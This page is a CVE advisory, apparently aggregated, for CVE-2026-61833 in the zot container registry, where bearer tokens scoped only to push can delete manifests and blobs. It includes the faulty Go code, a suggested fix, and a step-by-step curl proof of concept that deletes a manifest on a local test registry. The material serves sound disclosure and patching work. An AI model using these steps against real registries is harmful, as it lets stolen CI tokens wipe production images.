# CVE-2026-61833: zot: Bearer authentication maps DELETE to push scope, allowing unauthorized deletion

> CVE-2026-61833 (GitHub advisory GHSA-qg67-7m6v-qg25) is a high-severity vulnerability with a CVSS 3.1 base score of 8.1, classed as Improper Authorization (CWE-285), in zotregistry.dev/zot/v2 (Go). Affected versions: < 2.1.18. It is fixed in 2.1.18.

Canonical page: https://cveminer.com/vulnerabilities/CVE-2026-61833

| Field | Value |
| --- | --- |
| CVE | CVE-2026-61833 |
| GHSA | GHSA-qg67-7m6v-qg25 |
| Severity | High |
| CVSS 3.1 | 8.1 `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` (GitHub Advisory Database) |
| CWE | CWE-285 Improper Authorization |
| EPSS | 0.42% (higher than 36% of CVEs) |
| CISA KEV | Not listed |
| Published | 18 Sept 2026 |
| Modified | 18 Sept 2026 |

## Description

A bearer token with only `pull` and `push` scopes can successfully delete manifests and blobs from a zot registry. The bearer authentication handler maps all non-GET/HEAD HTTP methods, including DELETE, to the `"push"` action, and the `DistSpecAuthzHandler` middleware is bypassed entirely for bearer-authenticated requests. This allows any client holding a push-only bearer token to delete arbitrary manifests and blobs within the token's repository scope, in violation of the [Docker Distribution Token Authentication Specification](https://distribution.github.io/distribution/spec/auth/scope/).

##### Details

The vulnerability exists in two interacting components:

**1. Action Mapping Collapse (`pkg/api/authn.go:571–586`)**

The bearer authentication handler maps HTTP methods to token scope actions using a binary check:

```go
action := "pull"
if m := request.Method; m != http.MethodGet && m != http.MethodHead {
    action = "push"
}
```

This collapses DELETE, PUT, PATCH, and POST into a single `"push"` action. The `"delete"` action is never assigned.

**2. Authorization Bypass for Bearer Auth (`pkg/api/authz.go:270–275, 318–323`)**

When a request is authenticated via bearer token, the `DistSpecAuthzHandler` middleware, which performs fine-grained action inference (distinguishing `create`, `read`, `update`, and `delete`) is bypassed entirely:

```go
if err != nil || (authnMwCtx != nil && authnMwCtx.AuthnType == BEARER) {
    next.ServeHTTP(response, request)
    return
}
```

**3. No Handler-Level Authorization Check**

Neither `DeleteManifest` (`routes.go:799–884`) nor `DeleteBlob` (`routes.go:1192–1241`) performs an independent authorization check for delete permission before executing the deletion.

**Deviation from Specification and Reference Implementation**

The [[Docker Distribution Token Scope Documentation](https://distribution.github.io/distribution/spec/auth/scope/)](https://distribution.github.io/distribution/spec/auth/scope/) defines `delete` as a distinct action separate from `push`. The reference implementation ([[distribution/distribution](https://github.com/distribution/distribution/blob/main/registry/handlers/app.go)](https://github.com/distribution/distribution/blob/main/registry/handlers/app.go)) correctly maps DELETE requests to the `"delete"` action:

```go
case http.MethodDelete:
    records = append(records,
        auth.Access{
            Resource: resource,
            Action:   "delete",
        })
```

Furthermore, zot's own native access-control configuration explicitly distinguishes `delete` as a separate permission from `create` and `update`, confirming the project's intent that delete is a distinct authorization action.

**Suggested Fix**

In `pkg/api/authn.go`, the action mapping should distinguish DELETE:

```go
action := "pull"
switch {
case m == http.MethodGet || m == http.MethodHead:
    action = "pull"
case m == http.MethodDelete:
    action = "delete"
default:
    action = "push"
}
```

The `DistSpecAuthzHandler` bypass for bearer-authenticated requests (`authz.go:270–275`) should also be reconsidered to ensure bearer-authenticated requests receive equivalently granular authorization checks.

##### PoC

**Prerequisites:** zot v2.1.15 with bearer authentication enabled, and a token server issuing JWTs with `actions: ["pull", "push"]` (no `"delete"`).

**Steps to Reproduce:**

1. Configure zot with bearer authentication pointing to a token server
2. Obtain a bearer token with scope `repository:poc-test:pull,push` (no delete)
3. Upload a config blob:
```bash
curl -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/octet-stream" \
  -X POST "http://127.0.0.1:5001/v2/poc-test/blobs/uploads/?digest=sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a" \
  -d '{}'
### → 201 Created
```
4. Push a manifest tagged `v1.0` (succeeds token has push):
```bash
curl -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/vnd.oci.image.manifest.v1+json" \
  -X PUT "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0" \
  -d '{"schemaVersion":2,"mediaType":"application/vnd.oci.image.manifest.v1+json","config":{"mediaType":"application/vnd.oci.image.config.v1+json","digest":"sha256:44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a","size":2},"layers":[]}'
### → 201 Created
```
5. DELETE the manifest with the same push-only token (**should return 401, but returns 202**):
```bash
curl -H "Authorization: Bearer $TOKEN" \
  -X DELETE "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
### → 202 Accepted (VULNERABLE)
```
6. Confirm the manifest is gone:
```bash
curl -o /dev/null -w "%{http_code}" -H "Authorization: Bearer $TOKEN" \
  "http://127.0.0.1:5001/v2/poc-test/manifests/v1.0"
### → 404 Not Found
```

**Expected behavior:** Step 5 should return `401 Unauthorized` with a `WWW-Authenticate` header requesting `scope="repository:poc-test:delete"`.

**Actual behavior:** Step 5 returns `202 Accepted` and the manifest is permanently deleted.

A complete reproducer (minimal Go token server + zot config + automated script) is available upon request.

##### Impact

**Privilege Escalation / Unauthorized Deletion** Any bearer token with push scope can delete manifests and blobs, even when the token was explicitly issued without delete permissions.

This is particularly impactful in CI/CD environments where automated systems are issued least-privilege tokens with only pull and push permissions. A compromised or stolen CI token which should only be able to build and push images can be used to:

- Delete arbitrary manifests (tags) within any repository covered by the token's scope
- Delete arbitrary blobs within those repositories
- Render production container images unpullable
- Rewrite image history by removing specific tags

## Affected packages

| Package | Ecosystem | PURL | Vulnerable versions | Fixed in |
| --- | --- | --- | --- | --- |
| zotregistry.dev/zot/v2 | Go | `pkg:golang/zotregistry.dev/zot/v2` | < 2.1.18 | 2.1.18 |

## Fix commits

- Patch: https://github.com/project-zot/zot/commit/7bb211bcd4352b90f3e99752607fbd1f050bf7ca
- Pull request: https://github.com/project-zot/zot/pull/4161

## Questions

**What is the GHSA ID for CVE-2026-61833?**

GitHub tracks CVE-2026-61833 as GHSA-qg67-7m6v-qg25.

**What is the CVSS score of CVE-2026-61833?**

CVE-2026-61833 has a CVSS 3.1 base score of 8.1 (High), vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H.

**Which versions are affected by CVE-2026-61833?**

zotregistry.dev/zot/v2 (Go): < 2.1.18.

**How do I fix CVE-2026-61833?**

Upgrade to 2.1.18 or later. The fix is in commit 7bb211b and pull request #4161.

**What is the Package URL (PURL) for CVE-2026-61833?**

The affected package's PURL is pkg:golang/zotregistry.dev/zot/v2.

**Is CVE-2026-61833 exploited in the wild?**

CISA's Known Exploited Vulnerabilities catalog doesn't list CVE-2026-61833. That means no confirmed exploitation has been catalogued, not that it is safe to leave unpatched. EPSS estimates a 0.42% chance of exploitation in the next 30 days, higher than 36% of CVEs.

## References

- https://github.com/project-zot/zot/pull/4161 (fix)
- https://github.com/project-zot/zot/commit/7bb211bcd4352b90f3e99752607fbd1f050bf7ca (fix)
- https://github.com/project-zot/zot/security/advisories/GHSA-qg67-7m6v-qg25 (advisory)
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/61xxx/CVE-2026-61833.json (advisory)
- https://nvd.nist.gov/vuln/detail/CVE-2026-61833 (advisory)
- https://github.com/advisories/GHSA-qg67-7m6v-qg25 (advisory)
- https://github.com/project-zot/zot (package)
- https://github.com/project-zot/zot/releases/tag/v2.1.18

---

Source: CVEminer (https://cveminer.com/vulnerabilities/CVE-2026-61833), compiled from OSV (GitHub advisory), GitHub Advisory Database, OSV (CVE record), CVE.org, CISA KEV catalog. OSV and GitHub Advisory Database content is licensed CC BY 4.0.
